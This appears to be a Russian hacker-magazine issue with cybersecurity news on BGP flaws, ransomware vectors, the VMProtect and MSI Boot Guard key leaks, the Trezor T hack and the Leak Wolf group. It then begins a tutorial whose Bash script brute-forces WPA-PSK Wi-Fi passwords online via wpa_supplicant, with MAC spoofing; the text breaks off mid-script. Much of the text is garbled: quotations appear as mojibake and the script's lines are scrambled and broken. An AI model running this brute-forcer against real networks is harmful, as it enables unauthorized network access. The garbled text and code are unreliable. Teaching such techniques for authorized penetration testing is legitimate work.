CVE-2022-40318

•  (6,5 бал ла по шка ле CVSS) — чте ние out-of-bounds
при обра бот ке иска жен ного сооб щения BGP OPEN.
CVE-2022-43681

Эти проб лемы «могут исполь зовать ся зло умыш ленни ками для про воци рова- 
ния сос тояния DoS на уяз вимых одно ран говых узлах BGP, что при ведет к уда- 
лению всех сеан сов BGP и таб лиц мар шру тиза ции, а одно ран говый узел
перес танет отве чать».

«
»

«Îòêàç â îáñëó æèâà íèè ìîæåò áûòü ïðîä ëåí íà íåîï ðåäåëåí íûé ñðîê
ïóòåì ìíî ãîê ðàòíîé îòïðàâ êè èñêà æåí íûõ ïàêåòîâ. Îñíîâíàÿ ïðè-
÷èíà — îäèí è òîò æå óÿç âèìûé øàá ëîí êîäà, ñêî ïèðî âàí íûé â íåñ- 
êîëü êî ôóí êöèé, ñâÿ çàí íûõ ñ ðàç íûìè ýòà ïàìè àíà ëèçà ñîîá ùåíèé
OPEN», — ïèøóò èññëå äîâà òåëè.

К сво ему отче ту ана лити ки при ложи ли ссыл ку на опен сор сный 
 на осно ве Python. Инс тру мент поможет орга низа циям про тес- 

тировать безопас ность BGP и най ти новые недос татки в его импле мен таци ях.

инс тру мент
BGP Fuzzer

«
»

«Ñîâ ðåìåí íûå èìïëå ìåí òàöèè BGP ïî ïðåæ íåìó èìå þò ïðîá ëåìû,
êîòîðû ìè ìîãóò ëåã êî çëî óïîò ðåáëÿòü çëî óìûø ëåííè êè, — ãîâîðÿò
â Forescout. — Äëÿ ñíè æåíèÿ ðèñ êîâ èñïîëü çîâàíèÿ óÿç âèìûõ ðåàëè- 
çàöèé BGP ëó÷ øàÿ ðåêîìåí äàöèÿ — êàê ìîæ íî áîëåå ÷àñ òàÿ óñòà íîâ êà
ïàò ÷åé íà óñòðîé ñòâà ñåòåâîé èíôðàñòðóê òóðû».

ОСНОВНЫЕ ВЕКТОРЫ АТАК ВЫМОГАТЕЛЕЙ
По дан ным «Лабора тории Кас пер ско го», в 2022 году  атак прог рамм-вымога телей начина- 
лось с экс плу ата ции уяз вимос тей в обще дос тупных при ложе ниях.

43%

Поч ти в каж дом чет вертом слу чае ( ) ата ки вымога телей начина лись с исполь зования ранее
ском про мети рован ных акка унтов поль зовате лей, а в  — с вре донос ных писем.

24%
12%

При этом в ряде слу чаев целью ата кующих было не шиф рование дан ных, а получе ние дос тупа
к лич ной информа ции поль зовате лей, интеллек туаль ной собс твен ности и дру гим кон фиден- 
циаль ным дан ным орга низа ций.

Как показал опрос «ЛК», более  ком паний во всем мире под вер глись как минимум одной
ата ке прог раммы-вымога теля в 2022 году. При этом малые и сред ние пред при ятия пла тили
за вос ста нов ление дан ных в сред нем  дол ларов, а круп ный биз нес —  дол ларов.

40%

6500 98 000

Ата кующие зачас тую исполь зуют  для сбо ра дан ных,  для повыше ния
при виле гий и  для уда лен ного выпол нения команд или фрей мвор ки типа 

 для про веде ния всех эта пов ата ки.

PowerShell Mimikatz
PsExec Cobalt

Strike

ИСХОДНИКИ
VMPROTECT ПОПАЛИ
В ОТКРЫТЫЙ ДОСТУП

За пос ледний год исходный код VMProtect про сочил ся в сеть не один раз,
а дваж ды. При чем вто рая утеч ка про изош ла сов сем недав но, в середи не
мая 2023 года, и была замече на на китай ском ИТ-форуме.

VMProtect — это популяр ный инс тру мент для защиты прог рам мно го обес- 
печения от ана лиза и взло ма, он находит закон ное при мене ние, нап ример,
в играх и кор поратив ных при ложе ниях.

Од нако VMProtect так же широко исполь зует ся раз работ чиками вре донос- 
ных прог рамм для защиты полез ных наг рузок, а мно гие ИБ-ком пании авто- 
мати чес ки отме чают прог рам мное обес печение в обо лоч ке VMProtect
как потен циаль ную угро зу. Дело в том, что в прош лом VMProtect исполь- 
зовали такие извес тные хак груп пы, как APT31, ZINC (Diamond Sleet, Lazarus),
Hacking Team, вымога тели Darkside и Rorschach, MaaS PrivateLoader и дру гие.

Пер вая утеч ка исходных кодов VMProtect  иссле дова теля ми
летом 2022 года, а новую утеч ку  на прош лой неделе, на китай- 
ском ИТ-форуме kanxue.com (в нас тоящее вре мя тема уже уда лена).

бы ла замече на
об наружи ли

Ока залось, что сре ди опуб ликован ных фай лов отсутс тву ет ряд клю чевых
фай лов, в том чис ле intel.cc, processor.cc и arm.cc, а попыт ка выложить
исходни ки на GitHub быс тро закон чилась их уда лени ем. Тем не менее утеч ку
по-преж нему мож но без тру да най ти в ано ним ных фай лооб менни ках,
и информа ция такого рода пред став ляет боль шой инте рес для экспер тов,
пос коль ку может помочь улуч шить инс тру мен ты для обна руже ния и ана лиза.

ГЛАВА OPENAI СОГЛАСЕН С НЕОБХОДИМОСТЬЮ
РЕГУЛЯЦИИ ИИ

В середи не мая гла ва OpenAI Сэм Аль тман (Sam Altman) сви детель ство вал в сенате США
о потен циаль ных опас ностях ИИ-тех нологий, соз данных его ком пани ей и дру гими, и приз вал
законо дате лей ввес ти лицен зион ные тре бова ния и иные пра вила для орга низа ций, которые
раз рабаты вают передо вые ИИ-сис темы, такие как GPT-4.

Аль тман пред ложил кон грес су сфор мировать новое ведомс тво, которое зай мет ся лицен- 
зирова нием ИИ-тех нологий «выше опре делен ного уров ня воз можнос тей» и получит пра во отоз- 
вать лицен зию «ради соб людения стан дартов безопас ности».

При водим некото рые цитаты из его речи.

[Лицен зии могут пот ребовать ся для моделей ИИ], которые спо соб ны убеж дать,
манипу лиро вать, вли ять на поведе ние челове ка и его убеж дения, а так же могут
помочь в соз дании новых биоло гичес ких аген тов.

→ «Учи тывая, что в сле дующем году нам пред сто ят выборы, а ИИ-модели улуч- 
шают ся, полагаю, это вызыва ет серь езное бес покой ство. Я дей стви тель но счи- 
таю, что некото рые пра вила в этом воп росе были бы весь ма разум ными.

Мы [в OpenAI] счи таем, что нор матив ное вме шатель ство пра витель ств будет
иметь реша ющее зна чение в воп росе сни жения рис ков, свя зан ных с набира- 
ющи ми мощ ность язы ковы ми моделя ми. Нап ример, пра витель ство США может
рас смот реть воп рос о сочета нии лицен зирова ния и тес товых тре бова ний
для раз работ ки и выпус ка ИИ-моделей, пре выша ющих опре делен ный порог
воз можнос тей.

Я счи таю, что, если эта тех нология пой дет по невер ному пути, вооб ще все
может пой ти по невер ному пути, и мы хотим во все услы шание заявить об этом.
Мы хотим сот рудни чать с пра витель ством, что бы пре дот вра тить подоб ное»,

— заявил Аль тман.

Продолжение статьи →

https://github.com/vdohney/keepass-password-dumper
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32784
https://keepass.info/filepool/KeePass_230507.zip
https://xakep.ru/2023/05/12/malware-pre-infecting/
https://xakep.ru/2018/03/05/triada-on-smarphones/
https://github.com/FRRouting/frr
https://nvd.nist.gov/vuln/detail/cve-2022-40302
https://www.ciscopress.com/articles/article.asp?p=2756480&seqNum=3
https://nvd.nist.gov/vuln/detail/cve-2022-40318
https://nvd.nist.gov/vuln/detail/cve-2022-43681
https://github.com/Forescout/bgp_boofuzzer/
https://twitter.com/gmhzxy/status/1563608617169096708
https://twitter.com/vxunderground/status/1657059070220861440
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INTEL РАССЛЕДУЕТ
УТЕЧКУ КЛЮЧЕЙ
INTEL BOOT GUARD

Ком пания Intel рас сле дует заяв ления хакеров, которые утвер жда ют, что
похити ли у MSI при ват ные клю чи, исполь зуемые Intel Boot Guard. Дело в том,
что такая утеч ка может пов лиять на воз можность бло киров ки вре донос ных
вер сий UEFI на устрой ствах MSI.

Как  в начале апре ля 2023 года, вымога тель ская груп- 
пиров ка Money Message заяви ла о взло ме тай вань ско го про изво дите ля MSI
(Micro-Star International). По информа ции СМИ, вымога тели похити ли у ком- 
пании при мер но 1,5 Тбайт дан ных и пот ребова ли выкуп в раз мере 4 мил- 
лионов дол ларов США.

ста ло извес тно

Зло умыш ленни ки писали, что в их рас поряже нии ока зал ся «исходный код
MSI, вклю чая фрей мворк для раз работ ки BIOS», а так же «при ват ные клю чи,
поз воля ющие под писать любой кас томный модуль это го BIOS и уста новить
его на ПК с этим BIOS».

По хоже, хакеры не получи ли от ком пании выкуп и начали пуб ликовать
в откры том дос тупе похищен ную информа цию, вклю чая исходный код про- 
шив ки, исполь зуемой материн ски ми пла тами MSI. В ито ге гла ва Binarly Алекс
Мат росов (Alex Matrosov) пре дуп редил, что утеч ка содер жит при ват ные клю чи
для под писи обра зов для 57 про дук тов MSI и при ват ные клю чи Intel Boot
Guard для 116 про дук тов MSI.

Мат росов объ ясня ет, что такая утеч ка может при вес ти к тому, что Intel Boot
Guard не будет работать на устрой ствах MSI, исполь зующих про цес соры Tiger
Lake, Adler Lake и Raptor Lake. Кро ме того, похоже, клю чи Boot Guard от MSI
зат рагива ют нес коль ких про изво дите лей устрой ств, в том чис ле Intel, Lenovo
и Supermicro.

«

»

«Ó íàñ åñòü äîêàçà òåëü ñòâà, ÷òî óòå÷ êà äàí íûõ MSI çàò ðîíóëà âñþ ýêî- 
ñèñ òåìó Intel. Ýòî ïðÿ ìàÿ óãðî çà äëÿ êëè åíòîâ MSI è, ê ñîæàëå íèþ,
íå òîëü êî äëÿ íèõ, — ñîîá ùàåò ýêñïåðò. — Êëþ ÷è ïîä ïèñè äëÿ îáðà- 
çîâ fw ïîç âîëÿ þò çëî óìûø ëåííè êàì ñîç äàâàòü âðå äîíîñ íûå îáíîâëå- 
íèÿ ïðî øèâ êè, êîòîðûå ìîãóò áûòü äîñ òàâëå íû ñ ïîìîùüþ îáû÷ íîãî
ïðî öåñ ñà îáíîâëå íèÿ BIOS è èíñ òðó ìåí òîâ îáíîâëå íèÿ MSI. Óòå÷ êà
êëþ ÷åé Intel Boot Guard âëè ÿåò íà âñþ ýêî ñèñ òåìó (íå òîëü êî íà MSI)
è äåëà åò ýòó çàùèò íóþ ôóí êöèþ áåñ ïîëåç íîé».

За щит ная фун кция Intel Boot Guard, встро енная в сов ремен ное железо Intel,
пред назна чена для пре дот вра щения заг рузки вре донос ных про шивок, то есть
UEFI-бут китов, и явля ется одним из глав ных тре бова ний Windows UEFI Secure
Boot.

Де ло в том, что вре донос ная про шив ка заг ружа ется до заг рузки ОС, а это
поз воля ет ей скрыть свою активность от защит ного ПО и сох ранять при сутс- 
твие на устрой стве даже пос ле пере уста нов ки ОС. Для защиты от это го Intel
Boot Guard про веря ет, под писан ли образ про шив ки с помощью легитим ного
при ват ного клю ча под писи, исполь зуя для это го пуб личный ключ, встро енный
в обо рудо вание Intel.

Са мое пло хое в про изо шед шей утеч ке зак люча ется в том, что пуб личные
клю чи, которые исполь зуют ся для про вер ки про шивок, под писан ных
с исполь зовани ем теперь ском про мети рован ных клю чей, встро ены в железо
Intel. Если их нель зя изме нить, на защиту Intel Boot Guard боль ше нель зя
полагать ся.

Пред ста вите ли Intel сооб щили СМИ, что им извес тно об этих пре дуп- 
режде ниях экспер тов и ком пания уже про водит собс твен ное рас сле дова ние.

«
»

«Èññëå äîâà òåëè óòâåð æäà þò, ÷òî óòåê øèå äàí íûå âêëþ ÷àþò ïðè âàò íûå
êëþ ÷è, â òîì ÷èñ ëå êëþ ÷è ïîä ïèñè MSI OEM äëÿ Intel® Boot Guard.
Ñëå äóåò îòìå òèòü, ÷òî OEM-êëþ ÷è Intel Boot Guard ãåíåðè ðóþò ñÿ ïðî- 
èçâî äèòå ëåì ñèñ òåìû è íå ÿâëÿ þòñÿ êëþ ÷àìè ïîä ïèñè Intel», —
ãîâîðÿò â êîì ïàíèè.

Пред ста вите ли Supermicro сооб щают, что тоже изу чили воз можные рис ки,
свя зан ные с этой утеч кой, и в ком пании уве рены, что ее про дук ты не зат- 
ронуты.

Ана лити ки Binarly опуб ликова ли  MSI,
в который вош ли 116 устрой ств, ском про мети рован ных в резуль тате утеч ки
клю чей Intel Boot Guard.

спи сок зат ронуто го обо рудо вания

ИИ ПРИВЕДЕТ К СОКРАЩЕНИЮ 26 МИЛЛИОНОВ РАБОЧИХ
МЕСТ
На Все мир ном эко номи чес ком форуме в Женеве был пред став лен док лад, пос вящен ный ситу- 
ации на мировых рын ках тру да, которые вхо дят в «эру тур булен тнос ти» бла года ря таким тех- 
нологи ям, как искусс твен ный интеллект.

По дан ным спе циалис тов, в течение сле дующих пяти лет поч ти  всех рабочих мест
изме нит ся в резуль тате внед рения ИИ, циф ровиза ции и дру гих эко номи чес ких нов шеств, вклю- 
чая переход на эко логи чес ки чис тую энер гию и перерас пре деле ние цепочек пос тавок.

чет верть

Ожи дает ся, что в целом вли яние боль шинс тва тех нологий на рынок тру да будет положи тель- 
ным, так как ,  и  ста нут
основны ми фак торами для рос та занятос ти.

ана лиз big data тех нологии управле ния ки бер безопас ность

Око ло  ком паний (было опро шено более  ком паний, в которых работа ет  мил лиона
человек, из  стран мира) заяви ли, что пла ниру ют внед рить ИИ-тех нологии в течение сле- 
дующих пяти лет. По прог нозам, это при ведет к сок ращению до  рабочих мест
на адми нис тра тив ных и учет ных дол жнос тях, вклю чая кас сиров, бух галте ров и работ ников,
занятых вво дом дан ных.

75% 800 11,3
45

26 мил лионов

При этом ИИ пред став ляет мень шую угро зу для рын ка тру да, чем дру гие мак роэко номи чес кие
фак торы, такие как ,  и 

.
за мед ление эко номи чес кого рос та де фицит пос тавок ин фля- 

ция

TREZOR T ВЗЛОМАЛИ

Ком пания Unciphered, которая спе циали зиру ется на кибер безопас ности
и вос ста нов лении уте рян ной крип товалю ты, заяви ла, что наш ла спо соб взло- 
мать аппа рат ный кошелек Trezor T про изводс тва ком пании SatoshiLabs, имея
к нему физичес кий дос туп. Весь про цесс взло ма иссле дова тели задоку мен- 
тирова ли .на видео

Фак тичес ки в опуб ликован ном на YouTube ролике иссле дова тели
из Unciphered демонс три руют извле чение seed-фра зы кошель ка с исполь- 
зовани ем аппа рат ной уяз вимос ти, для экс плу ата ции которой нужен физичес- 
кий дос туп к устрой ству.

Нуж но ска зать, что взлом Trezor T — не пер вый для спе циалис тов
Unciphered.

Ра нее в этом году ком пания показы вала похожие хаки, в ходе которых был
взло ман кошелек про изводс тва гон конг ской ком пании  (ком пания
под твер дила сущес тво вание  и приз нала роль Unciphered в ее
выяв лении), а так же была обна руже на уяз вимость в ста рой вер сии

, что помог ло кли ентам ком пании вос ста новить дос туп к крип- 
товалю те на 25 мил лионов дол ларов.

OneKey
уяз вимос ти

EthereumWallet

Спе циалис ты пояс нили, что на этот раз они исполь зовали «неис пра вимую
аппа рат ную уяз вимость в чипе STM32, которая поз воля ет сде лать дамп
встро енной флеш-памяти и OTP-дан ных».

В видео говорит ся о соз дании «собс твен ного экс пло ита», который поз- 
волил извлечь про шив ку кошель ка. При чем исправ ление для этой проб лемы
яко бы пот ребу ет отзы ва всех про дук тов Trezor из про дажи, так как устра нить
баг соф твер ным путем не получит ся.

Со осно ватель Unciphered Эрик Мишо (Eric Michaud) рас ска зыва ет
в ролике, что ком пания исполь зовала спе циали зиро ван ные GPU для взло ма
seed-фра зы устрой ства.

«
»

«Ìû çàã ðóçèëè ïðî øèâ êó, êîòîðóþ èçâëåê ëè, â íàø âûñîêîï ðîèç- 
âîäèòåëü íûé âû÷èñ ëèòåëü íûé êëàñ òåð äëÿ âçëî ìà, — îáú ÿñíÿ åò Ìèøî
â âèäåî. — Ó íàñ åñòü îêî ëî 10 GPU, è ÷åðåç íåêîòî ðîå âðå ìÿ ìû
ñìîã ëè èçâëå÷ü êëþ ÷è».

Пред ста вите ли пресс-служ бы Trezor сооб щили СМИ, что ком пания не рас- 
полага ет дос таточ ными под робнос тями об ата ке, выпол ненной Unciphered.
Одна ко они отме тили, что методы иссле дова телей похожи на «ата ку на даун- 
грейд RDP» и об этих рис ках ком пания пре дуп режда ла пуб лично еще три года
назад.

В ответ спе циалис ты Unciphered заяви ли, что не ста нут под тверждать
или отри цать связь их ата ки с даун грей дом RDP (Read Protection), ссы лаясь
на «текущие обя затель ства и сог лашения о нераз гла шении».

«
»

«Êðî ìå òîãî, ëþáîå òåõ íè÷åñ êîå ðàñ êðû òèå (óÿç âèìîñ òè) áóäåò ïîä- 
âåðãàòü êëè åíòîâ SatoshiLabs ïîòåí öèàëü íîìó ðèñ êó äî òåõ ïîð, ïîêà
(â êîøåëü êàõ) íå ïîÿâèò ñÿ íîâûé ÷èï, îòëè÷íûé îò èñïîëü çóåìî ãî ñåé- 
÷àñ STM32», — çàÿâè ëè â Unciphered.

Так же про изво дитель утвер жда ет, что экспер ты Unciphered не пытались свя- 
зать ся с ком пани ей нап рямую, а в 2020 году в  ком пании сооб щалось
об ата ках на даун грейд RDP, а так же о том, что «они тре буют физичес кой кра- 
жи устрой ства, чрез вычай но слож ных тех нологи чес ких зна ний и исполь- 
зования передо вого обо рудо вания».

бло ге

В Trezor добави ли, что «даже с уче том выше изло жен ного Trezor может быть
защищен надеж ной пароль ной фра зой, которая добавит еще один уро вень
безопас ности и сде лает даун грейд RDP бес полез ным».

Од нако экспер ты Unciphered все рав но нас таивают на сво ем, утвер ждая,
буд то раз работ чикам Trezor извес тно о том, что в чипе STM32 и модели Trezor
T сущес тву ет уяз вимость. Прос то ком пания ничего не дела ет для ее устра- 
нения со вре мен пер вой попыт ки пре дать информа цию о рис ках огласке.

«
»

«Ôàêò îñòà åòñÿ ôàê òîì: ñ ïîìîùüþ ýòîé ñòàòüè îíè ïûòà þòñÿ âîç- 
ëîæèòü îòâåòñ òâåí íîñòü çà áåçîïàñ íîñòü ñâî åãî óñòðîé ñòâà íà ïîêóïà- 
òåëåé, íå æåëàÿ áðàòü íà ñåáÿ îòâåòñ òâåí íîñòü è ïðèç íàâàòü, ÷òî èõ
óñòðîé ñòâî â ïðèí öèïå íåáåçî ïàñ íî», — çàÿâ ëÿþò â Unciphered.

Соз датели Trezor париру ют, что, воп реки утвер жде ниям спе циалис тов
Unciphered, они уже пред при няли шаги для решения этой проб лемы и соз- 
дали «пер вый в мире про веря емый и проз рачный эле мент безопас ности
через дочер нюю ком панию Tropic Square».

В  РАЗА ВЫРОСЛО КОЛИЧЕСТВО УТЕЧЕК В КРУПНЫХ
КОМПАНИЯХ РФ
1,5

За пер вые четыре месяца 2023 года про изош ло  уте чек из рос сий ских ком мерчес ких ком- 
паний и госор ганиза ций. Это в  раза боль ше по срав нению с ана логич ным пери одом прош- 
лого года, ког да было зафик сирова но  уте чек, сооб щают ана лити ки FACCT (быв шая Group-IB
в Рос сии и СНГ).

75
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С эти ми вывода ми сог ласны осно ватель сер виса раз ведки уте чек дан ных и монито рин га дар- 
кне та DLBI Ашот Ога несян и ана литик Kaspersky Digital Footprint Intelligence Игорь Фиц. По их
оцен ке, количес тво уте чек в пер вом квар тале воз росло в  и  раза соот ветс твен но.2 2,5

LEAK WOLF
ВЗЛОМАЛА 40
РОССИЙСКИХ
КОМПАНИЙ

Ак тивность Leak Wolf наб люда ется с апре ля 2022 года (имен но тог да в под- 
кон троль ном груп пе Telegram-канале NLB были раз мещены дан ные нес коль- 
ких жертв). За это вре мя хакеры про вели ата ки более чем на 40 рос сий ских
ком паний, при этом вооб ще не исполь зовали мал варь, так как свои кам пании
зло умыш ленни ки стро ят на уяз вимос тях челове чес кого фак тора.

В сво ем отче те ана лити ки ком пании BI.ZONE рас ска зали, что основной
рост инци ден тов, свя зан ных с утеч ками дан ных, в 2022 году обес печили хак- 
тивис ты, которые стре мят ся взла мывать ком пании из «мораль ных» побуж- 
дений. Leak Wolf — один из харак терных при меров это го типа зло умыш ленни- 
ков.

Ча ще все го от дей ствий груп пы стра дали орга низа ции из сфер роз ничной
тор говли, обра зова ния и информа цион ных тех нологий.

В отли чие от дру гих груп пировок Leak Wolf не пыта ется экс плу ати ровать
популяр ные уяз вимос ти в пуб лично дос тупных при ложе ниях, при менять мал- 
варь или фишинг. Вмес то это го ата кующие исполь зовали акка унты сот рудни- 
ков ком паний или дос тупы IT-под рядчи ков. Бла года ря это му зло умыш ленни- 
кам уда валось дол го оста вать ся незаме чен ными.

«

»

«Ïî÷ òè 60% èíöè äåí òîâ, êîòîðûå äîâåëîñü ðàñ ñëå äîâàòü íàøåé
êîìàí äå â 2022 ãîäó, áûëè ñâÿ çàíû ñ óòå÷ êàìè. Êîëè÷åñ òâî ïîäîá íûõ
àòàê ïî ñðàâ íåíèþ ñ 2021 ãîäîì óâå ëè÷è ëîñü â ÷åòûðå ðàçà. Äåé ñòâèÿ
Leak Wolf â î÷å ðåä íîé ðàç äîêàçû âàþò, ÷òî çëî óìûø ëåííè êàì âîâ ñå
íå îáÿ çàòåëü íî èñïîëü çîâàòü äëÿ ñâî èõ öåëåé âðå äîíîñ íîå ïðîã ðàì- 
ìíîå îáåñ ïå÷åíèå. Îáíà ðóæèòü ïîäîá íûå èíöè äåí òû áåç ýôôåêòèâ- 
íîãî ìîíèòî ðèí ãà ïðàê òè÷åñ êè íåâîç ìîæíî, áîëåå òîãî, íåîá õîäèì
ïðî àêòèâíûé ïîèñê óãðîç», — ãîâîðèò ðóêîâî äèòåëü óïðàâëå íèÿ êèáåð- 
ðàçâåä êè BI.ZONE Îëåã Ñêóë êèí.

Что бы не прив лекать вни мания, груп пиров ка так же арен довала сер веры
на тер ритории Рос сии либо исполь зовала VPN для уда лен ного дос тупа. Учи- 
тывая популяр ность дис танци онной работы, в том чис ле из ближ него
зарубежья, это не вызыва ло подоз рения у служб безопас ности.

Зло умыш ленни ки получа ли несан кци они рован ный дос туп не толь ко взла- 
мывая IT-про вай деров, но и ана лизи руя утеч ки дан ных физичес ких лиц. Сот- 
рудни ки ком паний неред ко пре неб рега ют циф ровой гиги еной: регис три руют- 
ся в сто рон них сер висах с рабочи ми email, исполь зуют прос тые пароли,
не меня ют их от акка унта к акка унту. Так же иссле дова тели отме тили инте рес
Leak Wolf к учет ным дан ным, получен ным при помощи сти леров.

Пос ле про ник новения в инфраструк туру ком пании (при этом хоть сколь- 
ко-нибудь лег ко детек тиру емые методы хакеры при меня ли в еди нич ных слу- 
чаях) зло умыш ленни ки ска ниро вали сеть, собира ли важ ную для биз неса
информа цию (нап ример, кли ент скую базу), заг ружали в облачное хра нили ще
и пуб ликова ли ссыл ку на дамп в сво ем Telegram-канале.

Да же в ходе пос тэкс плу ата ции ата кующие не исполь зовали мал варь
или инс тру мен ты двой ного наз начения, нап ример С2-фрей мвор ки. Поэто му
им не тре бова лись зна читель ные уси лия, что бы укло нять ся от обна руже ния.
Тем не менее зло умыш ленни ки ста рались не попадать ся: час то орга низа ции
узна вали о взло ме толь ко пос ле пуб ликации в телег рам-канале. Так, что бы
не прив лекать вни мание, пос ле эксфиль тра ции архи вы с соб ранны ми дан- 
ными прос то уда лялись со ском про мети рован ных сис тем, нап ример: rm
/tmp/.zip.

Та ким обра зом, отсутс твие дол жно го жур налиро вания, а так же архи вов
с соб ранны ми дан ными зна читель но сни жало веро ятность, что сот рудни ки
пос тра дав ших орга низа ций обна ружат утеч ку.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Apple выпус тила пер вые RSR-пат чи, но с их уста нов кой воз никли проб лемы

Под рядчик «окир пичил» FPV-очки Orqa для опе рато ров дро нов, испортив про шив ку

В акка унты Google раз решили вхо дить без пароля

Backblaze: сред ний воз раст отка за HDD сос тавля ет менее трех лет

ByteDance сле дила за жур налис ткой Financial Times через акка унт ее кош ки

Ис сле дова тель обна ружил текст пес ни Coldplay в про шив ке SSD Kingston

Ки тай ские хакеры Mustang Panda взла мыва ют роуте ры TP-Link

Ос нователь Pebble пред ста вил устрой ство Beepberry: Raspberry Pi с кла виату рой от BlackBerry

Ро уте ры Asus мас сово выш ли из строя из-за ошиб ки на сто роне сер вера

Ата ка BrutePrint брут форсит отпе чат ки паль цев на сов ремен ных смар тфо нах

* Ïðè íàä ëåæèò êîì ïàíèè Meta, ÷üÿ äåÿòåëü íîñòü ïðèç íàíà ýêñ òðå ìèñò- 

ñêîé è çàï ðåùåíà â Ðîñ ñèè.

https://xakep.ru/2023/04/07/msi-money-message/
https://github.com/binarly-io/SupplyChainAttacks/blob/main/MSI/MsiImpactedDevices.md
https://youtu.be/50eiA-75NMY
https://www.youtube.com/watch?v=b8OrakRJmHE
https://blog.onekey.so/our-response-to-recent-security-fix-reports-13914fea8afd
https://www.coindesk.com/tech/2023/02/13/hacking-crypto-wallets-is-latest-strategy-in-quest-to-recover-lost-billions/
https://blog.trezor.io/our-response-to-the-read-protection-downgrade-attack-28d23f8949c6
https://xakep.ru/2023/05/03/rapid-security-response/
https://xakep.ru/2023/05/04/orqa-firmware/
https://xakep.ru/2023/05/05/google-passkeys/
https://xakep.ru/2023/05/05/backblaze-stats/
https://xakep.ru/2023/05/10/cristina-criddle-bytedance/
https://xakep.ru/2023/05/12/kingstone-coldplay/
https://xakep.ru/2023/05/17/horse-shell/
https://xakep.ru/2023/05/19/beepberry/
https://xakep.ru/2023/05/22/asus-asd/
https://xakep.ru/2023/05/22/bruteprint/
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Ата ки на Wi-Fi чрез вычай но раз нооб разны:
зло умыш ленник может попытать ся взло- 
мать кли ент ские устрой ства и точ ки дос-
тупа, да и пос ледние могут исполь зовать
раз ные про токо лы и методы аутен тифика- 
ции. В этой статье мы рас смот рим прос той,
но эффектив ный метод брут форса бес про- 
вод ных сетей.

INFO

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».

Ме гад рон. Стро им хакер ский бес- 
пилот ник — даль нобой ный и с защитой от глу- 
шилок

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

На ибо лее час то встре чают ся сети WPA PSK. Даже если в ком пании исполь- 
зуют ся сети WPA-Enterprise, а все осталь ное зап рещено, мы всег да можем
най ти WPA PSK бла года ря тем же бес про вод ным прин терам и вся чес ким
несан кци они рован ным точ кам дос тупа, работа ющим на телефо нах сот рудни- 
ков. И чем боль ше периметр ком пании, тем боль ше таких потен циаль ных
точек вхо да мож но обна ружить. При ата ках на точ ки дос тупа с WPA PSK обыч- 
но исполь зует ся сле дующая схе ма.

Клас сичес кая схе ма дей ствий при ата ках WPA PSK

Но что делать, если у точ ки дос тупа нет кли ентов? Гру бо говоря, где-то
у полови ны обна ружен ных бес про вод ных сетей будут отсутс тво вать активные
кли енты, а дру гая полови на не будет под верже на PMKID, и у таких сетей
не обна ружит ся уяз вимый к перебо ру WPS. Выходит, подоб ные точ ки дос тупа
устой чивы к ата кам, даже если на них исполь зует ся пароль 12345678? А что
нам меша ет ата ковать их?

ÎÍËÀÉÍÎÂÛÉ ÁÐÓÒÔÎÐÑ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ WPA_SUPPLICANT

По доб рать пароль к обыч ной WPA-сети всег да мож но прос тым перебо ром,
аутен тифици руясь и спра шивая каж дый раз пароль непос редс твен но у точ ки
дос тупа (этот метод называ ется онлайн-брут форсом).

Ата ки онлайн-под бором пароля к Wi-Fi-сетям край не ред ки, и в интерне те
мож но най ти не так уж мно го реали заций такой ата ки. Оно и понят но: ведь ее
ско рость низ кая в срав нении с брут форсом того же WPA Handshake
или PMKID. Но имен но эта ата ка может быть единс твен но воз можной поч ти
в чет верти слу чаев. И пусть ско рость под бора будет не так высока, это явно
луч ше, чем сидеть и ждать у моря погоды. Так ли нуж на нам высокая ско рость
брут форса, ког да речь идет о небезо пас ных паролях? Мож но пред положить,
что при мер но на каж дой десятой точ ке дос тупа исполь зован прес ловутый
пароль 12345678. Неуже ли для ата ки подоб ных устрой ств нужен хен дшейк?

Брут форс онлайн в ширину (мно го точек дос тупа, нес коль ко паролей)

А что, если мы возь мем с десяток самых сла бых паролей? Реали зовать
онлайн-брут форс мы можем дос таточ но прос то с помощью скрип та на Bash,
исполь зуя лишь :wpa_supplicant

wpa-brute.sh
#!/bin/bash

RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'

15 TIMEOUT=
IFACE=wlan0 

  1       [[ $# -ge ]] && essid="$1" || read -p 'essid: ' essid
  2       [[ $# -ge ]] && wordlist="$2" || read -p 'wordlist: ' wordlist 
  3     1 [[ $# -ge ]] && threads="$3" || threads=

rand=$RANDOM

    1  if [ "$threads" -eq ]; then
    touch "/tmp/wpa_${rand}_${essid}.conf"

    while read -r password 
   do

   8          [[ "${#password}" -lt ]] && continue
       #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether 
"00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[
RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE 
up

   
  

       wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${
essid}.conf" || continue

          sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${
essid}.conf"

 up        sudo ifconfig $IFACE
    

 
       sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_
${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" & 
       wpa_supplicant=$!

  
  

       tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while 
read -t $TIMEOUT line 
       do
       #echo "$line"

  |               if echo "$line" grep -q "completed"; then
               break

  |               elif echo "$line" grep -q "Handshake failed"; then
               break
           fi
       done

        sudo pkill -P $wpa_supplicant 2> /dev/null 
 +       now=$(date '%H:%M:%S')

    
 

